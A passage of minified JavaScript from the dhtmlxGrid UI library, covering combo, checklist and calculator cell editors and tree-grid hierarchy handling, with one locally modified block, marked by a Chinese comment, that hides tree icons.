this.cell.combo_value||\"\"};this.getText=function(e){var g=this.cell;if(this._combo_pre==\"\"&&g.childNodes[1]){g=g.childNodes[1]}else{g.childNodes[0].childNodes[1]}return(_isIE?g.innerText:g.textContent)};this.setValue=function(h){if(typeof(h)==\"object\"){this.cell._brval=this.initCombo();var e=this.cell._cellIndex;var g=this.cell.parentNode.idd;if(!h.firstChild){this.cell.combo_value=\"&nbsp;\";this.cell._clearCell=true}else{this.cell.combo_value=h.firstChild.data}this.setComboOptions(this.cell._brval,h,this.grid,e,g)}else{this.cell.combo_value=h;var c=null;if((c=this.cell._brval)&&(typeof(this.cell._brval)==\"object\")){h=(c.getOption(h)||{}).text||h}else{if(c=this.grid._col_combos[this.cell._cellIndex]||((this.grid._fake)&&(c=this.grid._fake._col_combos[this.cell._cellIndex]))){h=(c.getOption(h)||{}).text||h}}if((h||\"\").toString()._dhx_trim()==\"\"){h=null}if(h!==null){this.setComboCValue(h)}else{this.setComboCValue(\"&nbsp;\",\"\");this.cell._clearCell=true}}};this.detach=function(){var c=this.combo.getParent();if(c.parentNode==this.cell){this.cell.removeChild(c)}else{return false}var e=this.cell.combo_value;if(!this.combo.getComboText()||this.combo.getComboText().toString()._dhx_trim()==\"\"){this.setComboCValue(\"&nbsp;\");this.cell._clearCell=true}else{this.setComboCValue(this.combo.getComboText().replace(/\\&/g,\"&amp;\").replace(/</g,\"&lt;\").replace(/>/g,\"&gt;\"),this.combo.getActualValue());this.cell._clearCell=false}this.combo._confirmSelect();this.cell.combo_value=this.combo.getActualValue();this.combo.closeAll();this.grid._still_active=true;this.grid.setActive(1);return e!=this.cell.combo_value}}eXcell_combo.prototype=new eXcell;eXcell_combo_v=function(a){var c=new eXcell_combo(a);c._combo_pre=\"<img src='\"+(window.dhx_globalImgPath?window.dhx_globalImgPath:this.grid.imgURL)+\"combo_select\"+(dhtmlx.skin?\"_\"+dhtmlx.skin:\"\")+\".gif' class='dhxgrid_combo_icon'/>\";return c};eXcell_combo.prototype.initCombo=function(c){var a=document.createElement(\"DIV\");a.className=\"dhxcombo_in_grid_parent\";var g=this.grid.defVal[arguments.length?c:this.cell._cellIndex];var h=new dhtmlXCombo(a,\"combo\",0,g);this.grid.defVal[arguments.length?c:this.cell._cellIndex]=\"\";var e=this.grid;h.DOMelem.onmousedown=h.DOMelem.onclick=function(l){l=l||event;l.cancelBubble=true};h.DOMelem.onselectstart=function(l){l=l||event;l.cancelBubble=true;return true};h.attachEvent(\"onKeyPressed\",function(l){if(l==13||l==27){e.editStop();if(e._fake){e._fake.editStop()}}});return h};eXcell_combo.prototype.fillColumnCombos=function(e,a){if(!a){return}var g=dhx4.ajax.xmltop(\"rows\",a,-1);if(g&&g.tagName!==\"DIV\"){e.combo_columns=e.combo_columns||[];columns=dhx4.ajax.xpath(\"//column\",g);for(var c=0;c<columns.length;c++){if((columns[c].getAttribute(\"type\")||\"\").indexOf(\"combo\")==0){e.combo_columns[e.combo_columns.length]=c;this.setComboOptions(e._col_combos[c],columns[c],e,c)}}}};eXcell_combo.prototype.setComboCValue=function(e,c){if(this._combo_pre!=\"\"){var a=(this.cell.offsetHeight?this.cell.offsetHeight+\"px\":0);e=\"<div style='width:100%;position:relative;height:100%;overflow:hidden;'>\"+this._combo_pre+\"<span>\"+e+\"</span></div>\"}if(arguments.length>1){this.setCValue(e,c)}else{this.setCValue(e)}};eXcell_combo.prototype.setComboOptions=function(l,m,e,q,s){if(window.dhx4.s2b(m.getAttribute(\"xmlcontent\"))){if(!m.getAttribute(\"source\")){options=m.childNodes;var a=[];for(var n=0;n<options.length;n++){if(options[n].tagName==\"option\"){var g=options[n].firstChild?options[n].firstChild.data:\"\";a[a.length]=[options[n].getAttribute(\"value\"),g]}}l.addOption(a);if(arguments.length==4){e.forEachRowA(function(v){var u=e.cells(v,q);if(!u.cell._brval&&!u.cell._cellType&&(u.cell._cellIndex==q)){if(u.cell.combo_value==\"\"){u.setComboCValue(\"&nbsp;\",\"\")}else{if(!l.getOption(u.cell.combo_value)){u.setComboCValue(u.cell.combo_value)}else{u.setComboCValue(l.getOption(u.cell.combo_value).text,u.cell.combo_value)}}}})}else{var r=(this.cell)?this:e.cells(s,q);if(m.getAttribute(\"text\")){if(m.getAttribute(\"text\")._dhx_trim()==\"\"){r.setComboCValue(\"&nbsp;\",\"\")}else{r.setComboCValue(m.getAttribute(\"text\"))}}else{if((!r.cell.combo_value)||(r.cell.combo_value._dhx_trim()==\"\")){r.setComboCValue(\"&nbsp;\",\"\")}else{if(!l.getOption(r.cell.combo_value)){r.setComboCValue(r.cell.combo_value)}else{r.setComboCValue(l.getOption(r.cell.combo_value).text,r.cell.combo_value)}}}}}}if(m.getAttribute(\"source\")){if(m.getAttribute(\"auto\")&&window.dhx4.s2b(m.getAttribute(\"auto\"))){if(m.getAttribute(\"xmlcontent\")){var r=(this.cell)?this:e.cells(s,q);if(m.getAttribute(\"text\")){r.setComboCValue(m.getAttribute(\"text\"))}}else{e.forEachRowA(function(x){var w=e.cells(x,q);if(!w.cell._brval&&!w.cell._cellType){var v=w.cell.combo_value.toString();if(v.indexOf(\"^\")!=-1){var u=v.split(\"^\");w.cell.combo_value=u[0];w.setComboCValue(u[1])}}})}l.enableFilteringMode(true,m.getAttribute(\"source\"),window.dhx4.s2b(m.getAttribute(\"cache\")||true),window.dhx4.s2b(m.getAttribute(\"sub\")||false))}else{var o=this;var h=arguments.length;l.load(m.getAttribute(\"source\"),function(){if(h==4){e.forEachRow(function(w){var v=e.cells(w,q);if(!v.cell._brval&&!v.cell._cellType){if(l.getOption(v.cell.combo_value)){v.setComboCValue(l.getOption(v.cell.combo_value).text,v.cell.combo_value)}else{if((v.cell.combo_value||\"\").toString()._dhx_trim()==\"\"){v.setComboCValue(\"&nbsp;\",\"\");v.cell._clearCell=true}else{v.setComboCValue(v.cell.combo_value)}}}})}else{var u=e.cells(s,q);if(l.getOption(u.cell.combo_value)){u.setComboCValue(l.getOption(u.cell.combo_value).text,u.cell.combo_value)}else{u.setComboCValue(u.cell.combo_value)}}})}}if(!m.getAttribute(\"auto\")||!window.dhx4.s2b(m.getAttribute(\"auto\"))){if(m.getAttribute(\"editable\")&&!window.dhx4.s2b(m.getAttribute(\"editable\"))){l.readonly(true)}if(m.getAttribute(\"filter\")&&window.dhx4.s2b(m.getAttribute(\"filter\"))){l.enableFilteringMode(true)}}};eXcell_combo.prototype.getCellCombo=function(){if(this.cell._brval){return this.cell._brval}this.cell._brval=this.initCombo();return this.cell._brval};eXcell_combo.prototype.refreshCell=function(){this.setValue(this.getValue())};dhtmlXGridObject.prototype.getColumnCombo=function(a){if(this._col_combos&&this._col_combos[a]){return this._col_combos[a]}if(!this._col_combos){this._col_combos=[]}this._col_combos[a]=eXcell_combo.prototype.initCombo.call({grid:this},a);return this._col_combos[a]};dhtmlXGridObject.prototype.refreshComboColumn=function(a){this.forEachRow(function(c){if(this.cells(c,a).refreshCell){this.cells(c,a).refreshCell()}})};function eXcell_clist(a){try{this.cell=a;this.grid=this.cell.parentNode.grid}catch(c){}this.edit=function(){this.val=this.getValue();var g=(this.cell._combo||this.grid.clists[this.cell._cellIndex]);if(!g){return}this.obj=document.createElement(\"DIV\");var e=this.val.split(\",\");var o=\"\";for(var m=0;m<g.length;m++){var n=false;for(var h=0;h<e.length;h++){if(g[m]==e[h]){n=true}}if(n){o+=\"<div><input type='checkbox' id='dhx_clist_\"+m+\"' checked='true' /><label for='dhx_clist_\"+m+\"'>\"+g[m]+\"</label></div>\"}else{o+=\"<div><input type='checkbox' id='dhx_clist_\"+m+\"'/><label for='dhx_clist_\"+m+\"'>\"+g[m]+\"</label></div>\"}}o+=\"<div><input type='button' value='\"+(this.grid.applyButtonText||\"Apply\")+\"' style='width:100px; font-size:8pt;' onclick='this.parentNode.parentNode.editor.grid.editStop();'/></div>\";this.obj.editor=this;this.obj.innerHTML=o;document.body.appendChild(this.obj);this.obj.style.position=\"absolute\";this.obj.className=\"dhx_clist\";this.obj.onclick=function(q){(q||event).cancelBubble=true;return true};var l=this.grid.getPosition(this.cell);this.obj.style.left=l[0]+\"px\";this.obj.style.top=l[1]+this.cell.offsetHeight+\"px\";this.obj.getValue=function(){var r=\"\";for(var q=0;q<this.childNodes.length-1;q++){if(this.childNodes[q].childNodes[0].checked){if(r){r+=\", \"}r+=this.childNodes[q].childNodes[1].innerHTML}}return r.replace(/&amp;/g,\"&\")}};this.getValue=function(){if(this.cell._clearCell){return\"\"}return this.cell.innerHTML.toString()._dhx_trim().replace(/&amp;/g,\"&\").replace(/, /g,\",\")};this.detach=function(e){if(this.obj){this.setValue(this.obj.getValue());this.obj.editor=null;this.obj.parentNode.removeChild(this.obj);this.obj=null}return this.val!=this.getValue()}}eXcell_clist.prototype=new eXcell;eXcell_clist.prototype.setValue=function(e){if(typeof(e)==\"object\"){var c=dhx4.ajax.xpath(\"./option\",e);if(c.length){this.cell._combo=[]}for(var a=0;a<c.length;a++){this.cell._combo.push(c[a].firstChild?c[a].firstChild.data:\"\")}e=e.firstChild.data}if(e===\"\"||e===this.undefined){this.setCTxtValue(\" \",e);this.cell._clearCell=true}else{e=e.replace(/,[ ]*/g,\", \");this.setCTxtValue(e);this.cell._clearCell=false}};dhtmlXGridObject.prototype.registerCList=function(a,c){if(!this.clists){this.clists=new Array()}if(typeof(c)!=\"object\"){c=c.split(\",\")}this.clists[a]=c};function eXcell_calck(a){try{this.cell=a;this.grid=this.cell.parentNode.grid}catch(c){}this.edit=function(){this.val=this.getValue();var e=this.grid.getPosition(this.cell);this.obj=new calcX(e[0],e[1]+this.cell.offsetHeight,this,this.val)};this.getValue=function(){return this.grid._aplNFb(this.cell.innerHTML.toString()._dhx_trim(),this.cell._cellIndex)};this.detach=function(){if(this.obj){this.setValue(this.obj.inputZone.value);this.obj.removeSelf()}this.obj=null;return this.val!=this.getValue()}}eXcell_calck.prototype=new eXcell;eXcell_calck.prototype.setValue=function(a){if(!a||a.toString()._dhx_trim()==\"\"){a=\"0\"}this.setCValue(this.grid._aplNF(a,this.cell._cellIndex),a)};function calcX(left,top,onReturnSub,val){this.top=top||0;this.left=left||0;this.onReturnSub=onReturnSub||null;this.operandA=0;this.operandB=0;this.operatorA=\"\";this.state=0;this.dotState=0;this.calckGo=function(){return(eval(this.operandA+\"*1\"+this.operatorA+this.operandB+\"*1\"))};this.isNumeric=function(str){return((str.search(/[^1234567890]/gi)==-1)?(true):(false))};this.isOperation=function(str){return((str.search(/[^\\+\\*\\-\\/]/gi)==-1)?(true):(false))};this.onCalcKey=function(e){that=this.calk;var z=this.innerHTML;var rZone=that.inputZone;if(((that.state==0)||(that.state==2))&&(that.isNumeric(z))){if(rZone.value!=\"0\"){rZone.value+=z}else{rZone.value=z}}if((((that.state==0)||(that.state==2))&&(z==\".\"))&&(that.dotState==0)){that.dotState=1;rZone.value+=z}if((z==\"C\")){rZone.value=0;that.dotState=0;that.state=0}if((that.state==0)&&(that.isOperation(z))){that.operatorA=z;that.operandA=rZone.value;that.state=1}if((that.state==2)&&(that.isOperation(z))){that.operandB=rZone.value;rZone.value=that.calckGo();that.operatorA=z;that.operandA=rZone.value;that.state=1}if((that.state==2)&&(z==\"=\")){that.operandB=rZone.value;rZone.value=that.calckGo();that.operatorA=z;that.operandA=rZone.value;that.state=3}if((that.state==1)&&(that.isNumeric(z))){rZone.value=z;that.state=2;that.dotState=0}if((that.state==3)&&(that.isNumeric(z))){rZone.value=z;that.state=0}if((that.state==3)&&(that.isOperation(z))){that.operatorA=z;that.operandA=rZone.value;that.state=1}if(z==\"e\"){rZone.value=Math.E;if(that.state==1){that.state=2}that.dotState=0}if(z==\"p\"){rZone.value=Math.PI;if(that.state==1){that.state=2}that.dotState=0}if(z==\"Off\"){that.topNod.parentNode.removeChild(that.topNod)}if(e||event){(e||event).cancelBubble=true}};this.sendResult=function(){that=this.calk;if(that.state==2){var rZone=that.inputZone;that.operandB=rZone.value;rZone.value=that.calckGo();that.operatorA=z;that.operandA=rZone.value;that.state=3}var z=that.inputZone.value;that.topNod.parentNode.removeChild(that.topNod);that.onReturnSub.grid.editStop(false)};this.removeSelf=function(){if(this.topNod.parentNode){this.topNod.parentNode.removeChild(this.topNod)}};this.keyDown=function(){this.className=\"calcPressed\"};this.keyUp=function(){this.className=\"calcButton\"};this.init_table=function(){var table=this.topNod.childNodes[0];if((!table)||(table.tagName!=\"TABLE\")){return}for(i=1;i<table.childNodes[0].childNodes.length;i++){for(j=0;j<table.childNodes[0].childNodes[i].childNodes.length;j++){table.childNodes[0].childNodes[i].childNodes[j].onclick=this.onCalcKey;table.childNodes[0].childNodes[i].childNodes[j].onmousedown=this.keyDown;table.childNodes[0].childNodes[i].childNodes[j].onmouseout=this.keyUp;table.childNodes[0].childNodes[i].childNodes[j].onmouseup=this.keyUp;table.childNodes[0].childNodes[i].childNodes[j].calk=this}}this.inputZone=this.topNod.childNodes[0].childNodes[0].childNodes[0].childNodes[0].childNodes[0].childNodes[0].childNodes[0].childNodes[0].childNodes[0];if(this.onReturnSub){this.topNod.childNodes[0].childNodes[0].childNodes[0].childNodes[0].childNodes[0].childNodes[0].childNodes[0].childNodes[1].onclick=this.sendResult;this.topNod.childNodes[0].childNodes[0].childNodes[0].childNodes[0].childNodes[0].childNodes[0].childNodes[0].childNodes[1].calk=this}else{this.topNod.childNodes[0].childNodes[0].childNodes[0].childNodes[0].childNodes[0].childNodes[0].childNodes[0].childNodes[1].innerHTML=\"\"}};this.drawSelf=function(){var div=document.createElement(\"div\");div.className=\"calcTable\";div.style.position=\"absolute\";div.style.top=this.top+\"px\";div.style.left=this.left+\"px\";div.innerHTML=\"<table cellspacing='0' id='calc_01' class='calcTable'><tr><td colspan='4'><table cellpadding='1' cellspacing='0' width='100%'><tr><td width='100%' style='overflow:hidden;'><input style='width:100%' class='calcInput' value='0' align='right' readonly='true' style='text-align:right'></td><td class='calkSubmit'>=</td></tr></table></td></tr><tr><td class='calcButton' width='25%'>Off</td><td class='calcButton' width='25%'>p</td><td class='calcButton' width='25%'>e</td><td class='calcButton' width='25%'>/</td></tr><tr><td class='calcButton'>7</td><td class='calcButton'>8</td><td class='calcButton'>9</td><td class='calcButton'>*</td></tr><tr><td class='calcButton'>4</td><td class='calcButton'>5</td><td class='calcButton'>6</td><td class='calcButton'>+</td></tr><tr><td class='calcButton'>1</td><td class='calcButton'>2</td><td class='calcButton'>3</td><td class='calcButton'>-</td></tr><tr><td class='calcButton'>0</td><td class='calcButton'>.</td><td class='calcButton'>C</td><td class='calcButton'>=</td></tr></table>\";div.onclick=function(e){(e||event).cancelBubble=true};document.body.appendChild(div);this.topNod=div};this.drawSelf();this.init_table();if(val){var rZone=this.inputZone;rZone.value=val*1;this.operandA=val*1;this.state=3}return this}dhtmlXGridObject.prototype._updateTGRState=function(a){if(!a.update||a.id==0){return}if(this.rowsAr[a.id].imgTag){this.rowsAr[a.id].imgTag.src=this.iconTree+a.state+\".gif\"}a.update=false};dhtmlXGridObject.prototype.doExpand=function(c){this.editStop();var e=c.parentNode.parentNode.parentNode;var a=this._h2.get[e.idd];if(!this.callEvent(\"onOpen\",[e.idd,(a.state==\"plus\"?-1:1)])){return}if(a.state==\"plus\"){this.expandKids(e)}else{if((a.state==\"minus\")&&(!a._closeable)){this.collapseKids(e)}}};dhtmlXGridObject.prototype._createHierarchy=function(){if(!this._emptyLineImg){this._emptyLineImg=\"blank\"}return new dhtmlxHierarchy({_emptyLineImg:this._emptyLineImg})};function dhtmlxHierarchy(a){var c={id:0,childs:[],level:-1,parent:null,index:0,state:a._emptyLineImg};this.order=[c];this.get={\"0\":c};this.swap=function(g,e){var h=g.parent;var l=g.index;h.childs[l]=e;h.childs[e.index]=g;g.index=e.index;e.index=l};this.forEachChildF=function(n,e,l,g){var m=this.get[n];for(var h=0;h<m.childs.length;h++){if(!e.apply((l||this),[m.childs[h]])){continue}if(m.childs[h].childs.length){this.forEachChildF(m.childs[h].id,e,l,g)}if(g){g.call((l||this),m.childs[h])}}};this.forEachChild=function(m,e,h){var l=this.get[m];for(var g=0;g<l.childs.length;g++){e.apply((h||this),[l.childs[g]]);if(l.childs[g].childs.length){this.forEachChild(l.childs[g].id,e,h)}}};this.change=function(l,e,h){var g=this.get[l];if(g[e]==h){return}g[e]=h;g.update=true};this.add=function(g,e){return this.addAfter(g,e)};this.addAfter=function(q,o,h,g){var n=this.get[o||0];if(h){var m=this.get[h].index+(g?0:1)}else{var m=n.childs.length}var e={id:q,childs:[],level:n.level+1,parent:n,index:m,state:a._emptyLineImg};if(n.state==a._emptyLineImg){this.change(o,\"state\",(o==0?\"minus\":\"plus\"))}if(h){for(var l=m;l<n.childs.length;l++){n.childs[l].index++}n.childs=n.childs.slice(0,m).concat([e]).concat(n.childs.slice(m,n.childs.length))}else{n.childs.push(e)}this.get[q]=e;return e};this.addBefore=function(h,g,e){return this.addAfter(h,g,e,true)};this.remove=function(h){var g=this.get[h||0];for(var e=0;e<g.childs.length;e++){this.deleteAll(g.childs[e].id)}g.childs=[];g.parent.childs=g.parent.childs.slice(0,g.index).concat(g.parent.childs.slice(g.index+1));for(var e=g.index;e<g.parent.childs.length;e++){g.parent.childs[e].index--}delete this.get[h]};this.deleteAll=function(h){var g=this.get[h||0];for(var e=0;e<g.childs.length;e++){this.deleteAll(g.childs[e].id)}g.childs=[];delete this.get[h]};return this}dhtmlXGridObject.prototype._getOpenLenght=function(g,e){var c=this._h2.get[g].childs;e+=c.length;for(var a=0;a<c.length;a++){if(c[a].childs.length&&c[a].state==\"minus\"){e+=this._getOpenLenght(c[a].id,0)}}return e};dhtmlXGridObject.prototype.collapseKids=function(e){var g=this._h2.get[e.idd];if(g.state!=\"minus\"){return}if(!this.callEvent(\"onOpenStart\",[e.idd,1])){return}var h=e.rowIndex;if(h<0){h=this.rowsCol._dhx_find(e)+1}this._h2.change(g.id,\"state\",\"plus\");this._updateTGRState(g);if(this._srnd||this.pagingOn){this._h2_to_buff();this._renderSort()}else{var a=this._getOpenLenght(this.rowsCol[h-1].idd,0);for(var c=0;c<a;c++){this.rowsCol[h+c].parentNode.removeChild(this.rowsCol[h+c])}this.rowsCol.splice(h,a)}this.callEvent(\"onGridReconstructed\",[]);this.setSizes();this._h2_to_buff();this.callEvent(\"onOpenEnd\",[e.idd,-1])};dhtmlXGridObject.prototype._massInsert=function(a,e,g,o){var h=[];var n=(_isKHTML?this.obj:this.obj.rows[0].parentNode);this._h2_to_buff();if(this._srnd||this.pagingOn){return this._renderSort()}var m=this._getOpenLenght(a.id,0);for(var l=0;l<m;l++){var c=this.render_row(g+l);if(e){e.parentNode.insertBefore(c,e)}else{n.appendChild(c)}h.push(c)}this.rowsCol=dhtmlxArray(this.rowsCol.slice(0,g).concat(h).concat(this.rowsCol.slice(g)));return a.childs.length+h.length};dhtmlXGridObject.prototype.expandKids=function(c,h){var e=this._h2.get[c.idd];if((!e.childs.length)&&(!e._xml_await)){return}if(e.state!=\"plus\"){return}if(!e._loading&&!h){if(!this.callEvent(\"onOpenStart\",[e.id,-1])){return}}var g=this.getRowIndex(e.id)+1;if(e.childs.length){e._loading=false;this._h2.change(e.id,\"state\",\"minus\");this._updateTGRState(e);var a=this._massInsert(e,this.rowsCol[g],g);this.callEvent(\"onGridReconstructed\",[])}else{if(e._xml_await){e._loading=true;if(this.callEvent(\"onDynXLS\",[e.id])){this.load(this.kidsXmlFile+\"\"+(this.kidsXmlFile.indexOf(\"?\")!=-1?\"&\":\"?\")+\"id=\"+encodeURIComponent(e.id),this._data_type)}}}this.setSizes();if(!e._loading){this.callEvent(\"onOpenEnd\",[e.id,1])}this._fixAlterCss()};dhtmlXGridObject.prototype.kidsXmlFile=\"\";dhtmlXGridObject.prototype.sortTreeRows=function(g,h,a){var l=\"getValue\";if(this.cells5({parentNode:{grid:this}},this.getColType(g)).getDate){l=\"getDate\";h=\"str\"}this.forEachRow(function(r){var q=this._h2.get[r];if(!q){return}var o=this._get_cell_value(q.buff,g,l);if(h==\"int\"){q._sort=parseFloat(o);q._sort=isNaN(q._sort)?-99999999999999:q._sort}else{q._sort=o}});var e=this;var n=1;var m=-1;if(a==\"des\"){n=-1;m=1}var c=null;if(typeof h==\"function\"){c=function(q,o){return h(q._sort,o._sort,a,q.id,o.id)}}else{if(h==\"cus\"){c=function(q,o){return e._customSorts[g](q._sort,o._sort,a,q.id,o.id)}}if(h==\"str\"){c=function(q,o){return(q._sort<o._sort?m:(q._sort==o._sort?0:n))}}if(h==\"int\"){c=function(q,o){return(q._sort<o._sort?m:(q._sort==o._sort?0:n))}}if(h==\"date\"){c=function(q,o){return(Date.parse(new Date(q._sort||\"01/01/1900\"))-Date.parse(new Date(o._sort||\"01/01/1900\")))*n}}}this._sortTreeRows(c,0);this._renderSort(0,true);this.callEvent(\"onGridReconstructed\",[])};dhtmlXGridObject.prototype._sortTreeRows=function(a,g){var c=this._h2.get[g].childs;if(this.rowsCol.stablesort){this.rowsCol.stablesort.call(c,a)}else{c.sort(a)}for(var e=0;e<c.length;e++){if(c[e].childs.length){this._sortTreeRows(a,c[e].id)}c[e].index=e}};dhtmlXGridObject.prototype._renderSort=function(e,c){this._h2_to_buff();var a=this.objBox.scrollTop;this._reset_view();this.objBox.scrollTop=a};dhtmlXGridObject.prototype._fixAlterCssTGR=function(){if(!this._realfake){this._h2.forEachChild(0,function(a){if(a.buff.tagName==\"TR\"){var c=(this._cssSP?(a.level%2):(a.index%2))?this._cssUnEven:this._cssEven;this.rowsAr[a.id].className=(c+(this._cssSU?(\" \"+c+\"_\"+a.level):\"\"))+\" \"+(this.rowsAr[a.id]._css||\"\")+((this.rowsAr[a.id].className.indexOf(\"rowselected\")!=-1)?\" rowselected\":\"\")}},this)}};dhtmlXGridObject.prototype.moveRowUDTG=function(c,h){var n=this._h2.get[c];var e=n.parent.childs[n.index+h];if((!e)||(e.parent!=n.parent)){return}var a=[n.state,e.state];this.collapseKids(this.rowsAr[n.id]);this.collapseKids(this.rowsAr[e.id]);var g=this.rowsCol._dhx_find(this.rowsAr[c]);var m=this.rowsBuffer._dhx_find(this.rowsAr[c]);var o=this.obj.rows[0].parentNode.removeChild(this.rowsCol[g]);var l=this.rowsCol[g+((h==1)?2:h)];if(l){l.parentNode.insertBefore(o,l)}else{this.obj.rows[0].parentNode.appendChild(o)}this.rowsCol._dhx_swapItems(g,g+h);this.rowsBuffer._dhx_swapItems(m,m+h);this._h2.swap(e,n);if(a[0]==\"minus\"){this.expandKids(this.rowsAr[n.id])}if(a[1]==\"minus\"){this.expandKids(this.rowsAr[e.id])}this._fixAlterCss(Math.min(g,g+h))};function eXcell_tree(a){if(a){this.cell=a;this.grid=this.cell.parentNode.grid}this.isDisabled=function(){return this.cell._disabled||this.grid._edtc};this.edit=function(){if((this.er)||(this.grid._edtc)){return}this.er=this.cell.parentNode.valTag;this.val=this.getLabel();this.cell.atag=((!this.grid.multiLine)&&(_isKHTML||_isMacOS||_isFF))?\"INPUT\":\"TEXTAREA\";this.er.innerHTML=\"<\"+this.cell.atag+\" class='dhx_combo_edit' type='text' style='height:\"+(this.cell.offsetHeight-4)+\"px;line-height:\"+(this.cell.offsetHeight-6)+\"px; width:100%; border:0px; margin:0px; padding:0px; overflow:hidden;'></\"+this.cell.atag+\">\";this.er.childNodes[0].onmousedown=function(c){(c||event).cancelBubble=true};this.er.childNodes[0].onselectstart=function(c){if(!c){c=event}c.cancelBubble=true;return true};this.er.className+=\" editable\";this.er.firstChild.onclick=function(c){(c||event).cancelBubble=true};this.er.firstChild.value=this.val;this.obj=this.er.firstChild;this.er.firstChild.style.width=Math.max(0,this.cell.offsetWidth-this.er.offsetLeft-2)+\"px\";this.er.firstChild.focus();if(_isIE){this.er.firstChild.focus()}};this.detach=function(){if(!this.er){return}this.setLabel(this.er.firstChild.value);this.er.className=this.er.className.replace(\"editable\",\"\");var c=(this.val!=this.er.innerHTML);this.obj=this.er=null;return(c)};this.getValue=function(){return this.getLabel()};this.setImage=function(c){this.cell.parentNode.imgTag.nextSibling.src=this.grid.iconURL+c;this.grid._h2.get[this.cell.parentNode.idd].image=c};this.getImage=function(){return this.grid._h2.get[this.cell.parentNode.idd].image};this.setLabel=function(c){this.setValueA(c)};this.getLabel=function(c){return this.cell.parentNode.valTag.innerHTML}}eXcell_tree.prototype=new eXcell;eXcell_tree.prototype.setValueA=function(a){this.cell.parentNode.valTag.innerHTML=a;this.grid.callEvent(\"onCellChanged\",[this.cell.parentNode.idd,this.cell._cellIndex,a])};eXcell_tree.prototype.setValue=function(a){if(this.cell.parentNode.imgTag){return this.setLabel(a)}\n\n    // if((this.grid._tgc.iconTree==null)||(this.grid._tgc.iconTree!=this.grid.iconTree)){var h={};h.spacer=\"<img src='\"+this.grid.iconTree+\"blank.gif'  align='top' class='space'>\";h.imst=\"<img style='margin-top:-2px;' src='\"+this.grid.iconTree;h.imsti=\"<img style='padding-top:2px;'  src='\"+(this.grid.iconURL||this.grid.iconTree);h.imact=\"' align='top' onclick='this.\"+(_isKHTML?\"\":\"parentNode.\")+\"parentNode.parentNode.parentNode.parentNode.grid.doExpand(this);event.cancelBubble=true;'>\";h.plus=h.imst+\"plus.gif\"+h.imact;h.minus=h.imst+\"minus.gif\"+h.imact;h.blank=h.imst+\"blank.gif\"+h.imact;h.start=\"<div class='treegrid_cell' style='overflow:hidden; white-space : nowrap; line-height:23px; height:\"+(_isIE?21:23)+\"px;'>\";h.itemim=\"' align='top' \"+(this.grid._img_height?(' height=\"'+this.grid._img_height+'\"'):\"\")+(this.grid._img_width?(' width=\"'+this.grid._img_width+'\"'):\"\")+\" ><span id='nodeval'>\";h.close=\"</span></div>\";this.grid._tgc=h}\n    // 修改为不显示TreeGird的图标(可自定义使用font-awesome)\n    if((this.grid._tgc.iconTree==null)||(this.grid._tgc.iconTree!=this.grid.iconTree)){var h={};h.spacer=\"<img src='\"+this.grid.iconTree+\"blank.gif'  align='top' class='space'>\";h.imst=\"<img style='margin-top:-2px;' src='\"+this.grid.iconTree;h.imsti=\"<img style='display:none;' hit='\";h.imact=\"' align='top' onclick='this.\"+(_isKHTML?\"\":\"parentNode.\")+\"parentNode.parentNode.parentNode.parentNode.grid.doExpand(this);event.cancelBubble=true;'>\";h.plus=h.imst+\"plus.gif\"+h.imact;h.minus=h.imst+\"minus.gif\"+h.imact;h.blank=h.imst+\"blank.gif\"+h.imact;h.start=\"<div class='treegrid_cell' style='overflow:hidden; white-space : nowrap; line-height:23px; height:\"+(_isIE?21:23)+\"px;'>\";h.itemim=\"' align='top' \"+(this.grid._img_height?(' height=\"'+this.grid._img_height+'\"'):\"\")+(this.grid._img_width?(' width=\"'+this.grid._img_width+'\"'):\"\")+\" ><span id='nodeval'>\";h.close=\"</span></div>\";this.grid._tgc=h}\n\n    var l=this.grid._h2;var h=this.grid._tgc;var g=this.cell.parentNode.idd;var m=this.grid._h2.get[g];if(this.grid.kidsXmlFile||this.grid._slowParse){m.has_kids=(m.has_kids||(this.cell.parentNode._attrs.xmlkids&&(m.state!=\"minus\")));m._xml_await=!!m.has_kids}m.image=m.image||(this.cell._attrs.image||\"leaf.gif\");m.label=a;var e=[h.start];for(var c=0;c<m.level;c++){e.push(h.spacer)}if(m.has_kids){e.push(h.plus);m.state=\"plus\"}else{e.push(h.imst+m.state+\".gif\"+h.imact)}e.push(h.imsti);e.push(m.image);e.push(h.itemim);e.push(m.label);e.push(h.close);this.cell.innerHTML=e.join(\"\");this.cell._treeCell=true;this.cell.parentNode.imgTag=this.cell.childNodes[0].childNodes[m.level];this.cell.parentNode.valTag=this.cell.childNodes[0].childNodes[m.level+2];if(_isKHTML){this.cell.vAlign=\"top\"}if(m.parent.id!=0&&m.parent.state==\"plus\"){this.grid._updateTGRState(m.parent,false);this.cell.parentNode._skipInsert=true}this.grid.callEvent(\"onCellChanged\",[g,this.cell._cellIndex,a])};dhtmlXGridObject.prototype._process_tree_xml=function(l,c){this._parsing=true;var a=false;if(!c){this.render_row=this.render_row_tree;a=true;c=l.getAttribute(\"parent\")||0;if(c==\"0\"){c=0}if(!this._h2){this._h2=this._createHierarchy()}if(this._fake){this._fake._h2=this._h2}}var h=dhx4.ajax.xpath(this.xml.row,l);this._open=this._open||[];for(var e=0;e<h.length;e++){var n=h[e].getAttribute(\"id\");if(!n){n=this.uid();h[e].setAttribute(\"id\",n)}var m=this._h2.add(n,c);m.buff={idd:n,data:h[e],_parser:this._process_xml_row,_locator:this._get_xml_data};if(h[e].getAttribute(\"open\")){m.state=\"minus\";this._open.push(n)}this.rowsAr[n]=m.buff;this._process_tree_xml(h[e],n)}if(a){if(!h.length){this._h2.change(c,\"state\",this._emptyLineImg)}else{if(c!=0&&!this._srnd){this._h2.change(c,\"state\",\"minus\")}}for(var e=0;e<this._open.length;e++){var g=this._h2.get[this._open[e]];if(!g.childs.length){g.state=this._emptyLineImg}}this._updateTGRState(this._h2.get[c]);this._h2_to_buff();if(c!=0&&this._srnd){this.openItem(c)}else{if(this.pagingOn){this._renderSort()}else{this.render_dataset()}}if(this.kidsXmlFile){for(var e=0;e<this._open.length;e++){var g=this._h2.get[this._open[e]];if(g._xml_await){this.expandKids({idd:g.id})}}}this._open=[];if(this._slowParse===false){this.forEachRow(function(o){this.render_row_tree(0,o)})}this._parsing=false;if(c!=0&&!this._srnd){this.callEvent(\"onOpenEnd\",[c,1])}}};dhtmlXGridObject.prototype._h2_to_buff=function(c){if(!c){c=this._h2.get[0];this.rowsBuffer=new dhtmlxArray();if(this._fake&&!this._realfake){this._fake.rowsBuffer=this.rowsBuffer}}for(var 